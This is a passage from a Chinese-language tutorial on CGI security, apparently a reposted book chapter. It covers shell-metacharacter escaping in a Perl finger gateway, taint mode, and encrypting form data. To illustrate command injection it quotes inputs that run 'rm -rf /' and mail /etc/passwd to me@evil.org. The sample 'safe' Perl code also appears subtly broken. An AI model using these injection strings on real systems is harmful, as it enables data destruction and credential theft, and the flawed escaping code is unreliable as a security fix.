}
这将返回一个带有跟随在\后的shell转义字符的字符串。这个修正的finger.cgi网关在程序6中。
程序6. 一个安全的finger.cgi.
#!/usr/local/bin/perl
# finger.cgi - an safe finger gateway
require ’cgi-lib.pl’;
sub escape_input {
@_ =~ s/([;<>\*\|`&\$!#\(\)\[\]\:’"])/\\$1/g;
return @_;
}
print &PrintHeader;
if (&ReadParse(*in)) {
print "\n";
print `/usr/bin/finger &escape_input($in)`;
print "\n";
}
else {
print " \n";
print "\n";
print "\n\n";
print "Finger Gateway\n";
print "\n";
print "User@Host: \n";
print "\n";
print "\n";
print " \n";
}
这次，如果你使用前述相同的输入，将派生出一个shell,它将尝试这样执
行:
/usr/bin/finger nobody@nowhere.org \: /bin/rm -rf /
这样,那个恶意的企图将无法生效.它不再试图删除系统中所有的目录,而是尝试finger用户nobody@nowhere.org,:,/bin/rm,-rf和 /。由于后面的字符组合未必是你的系统中的用户，因此可能会返回一个错误。
记住几个问题。首先，如果你的Web服务器正确的配置了（例如，以非root 身份运行），那么，删除文件系统中的所有内容的企图不会成功。(如果服务器以root身份运行，那么潜在的危害将是不可估量的。千万不要这样做!)另外，用户还假定rm命令在/bin目录中。他或她假定了rm在这个路径中。然而，所这些只是对大多数的Unix系统的乐观的假设，并不是完全适用的。在一个hrooted系统环境中，这个目录中并没有rm命令。那么hacker的努力将是徒劳的。从理论上说，通过安全防范和正确配置你的Web服务器,你可以将潜在的危害降低到几乎为0，即使是书写了糟糕的脚本。
然而，你没有理由在编写CGI程序时可以掉以轻心。事实上，大多数的Web环境并不是chrooted的，仅仅是因为它禁止了很多人需要在Web服务器中需要的灵活性。即使服务器不是以root身份运行，用户不能将文件系统中的文件全部删除，一些人可以仅仅通过如下的输入，将/etc/passwd文件寄给me@evil.org作为可能的攻击途径：
nobody@nowhere.org ; /bin/mail me@evil.org < /etc/passwd
我可以通过操纵这个漏洞来干很多事情，即使是在一个配置良好的环境中。如果你在一个简单的CGI程序中容许一个漏洞从你的身边溜过，你怎么能肯定你正确并安全的配置了你复杂的Unix系统和Web服务器？
答案是你不能。你最好打赌弄清楚你的CGI程序是安全的。在shell中运行它之前不轻易接受输入是很容易对付的事情,它还是CGI编程中最常见的问题之一。
幸运的是，Perl拥有一个捕捉潜在感染的变量的很好的机制。如果你使用taintperl而不是Perl(或者perl -T，如果你使用Perl 5),脚本将在潜在感染的变量传递给shell命令处中止。这将帮助你在开始实际使用CGI程序时捕捉到所有的潜在感染的变量的例子。
注意到Perl拥有比C更多的派生shell的函数。这并不是显而易见的，即使是对于中级的Perl程序员，在执行程序前向后标记派生出一个shell。这是高级语言的风险抉择；因为你不是很明确地知道它做什么，所以你并不清楚一个函数会产生怎样的安全漏洞。
如果你避免了使用调用shell的函数，那么你不需要删除敏感的输入。在Perl 语言中,你可以通过使用system()或者exec()函数来封装每一个参数。例如， 如下的调用很安全的$input:
system("/usr/ucb/finger",$input);
然而，在你的finger gateway的情况下，这个特点是毫无用处的，因为你要处理finger命令的输出，这个，除了你使用system函数外没有方法可以捕获。
在C语言中，你也可以通过使用exec一类的函数来直接执行程序：exev(), exec1(),execvp(),execlp(),和execle()。exec1()在C语言中等价于Perl中的 system()函数。你使用哪一个exec函数以及如何使之按你的需要执行：这些细节已经超出了本书的范围。
3.安全处理
我前面简要讨论的只是安全问题的一个方面。现在流行的CGI应用程序倾向于 收集信用卡信息。数据收集是CGI应用程序的一个简单的任务，但是敏感信息的收集需要一个将信息从浏览器传送给服务器和CGI程序的安全途径。
举个例子，假设我要通过Internet来销售书。我可能在浏览器上建立一个表单，允许要购书的顾客通过表单提交它的个人信息和信用卡号码。受到这些信息后，我会将它们存储到我的计算机作为商业记录。
如果有人侵入我的商业计算机，那么他可能会访问存放顾客信息和信用卡号码的机密数据。为了避免这种情况，我会审查我的计算机配置安全了，并确定用来接受表单的CGI脚本不会被恶意的操纵。换句话说，我，作为计算机的系统管理员和CGI程序员，要尽力控制住第一个问题：防止信息直接从我的计算机中被窃取。
然而，怎样防止当信息由客户端发往服务器过程中有人中途窃取呢？记住信息怎样由Web服务器传送到CGI程序了吗？信息通过网络由浏览器先传送到服务器，然后服务器将信息传送给CGI程序。这些信息可能在由客户机传送到服务器时被中途窃取(如图2)。注意，为了保护信息使其不会被中途窃取，必须在客户和服务器之间进行加密。当然，如果你的客户机不能识别的话，你不能执行特定CGI的加密。
_______________ ______________
|浏览器 | 表单输入||
|(用户提交表单; |—————————————>||
|浏览器将其以通 |<—————————————| 服务器 |
|常文本发送出去)|分析CGI输出||
--------------- | | --------------
| | 表 || /\CGI
不怀好意的hacker单 || ||输
输 || ||出
入 || ||
\/ ||
_____________
| |
| CGI |
| |
-------------
(图2)
More: Java，CGI和安全处理
由于Web处理的特点，使用你独有的单独通过CGI程序实现的安全处理协议的唯一途径是:在表单信息通过浏览器传送到服务器之前将其加密。这个方案如图3。
_______________ ______________
|浏览器 | 加密表单输入||
来源:十度教育
作者:
关键字：CGI,安全
发表日期：2005-9-28 14:26:02
网页显示有限 阅读全文请下载本文完整版WORD文档上一篇：关于CGI读写COOKIE的编程 下一篇：CGI的安全(一)
共4页 9 7 [1] [2] [3] [4] 8 :>
2009-1-8 4:45:33
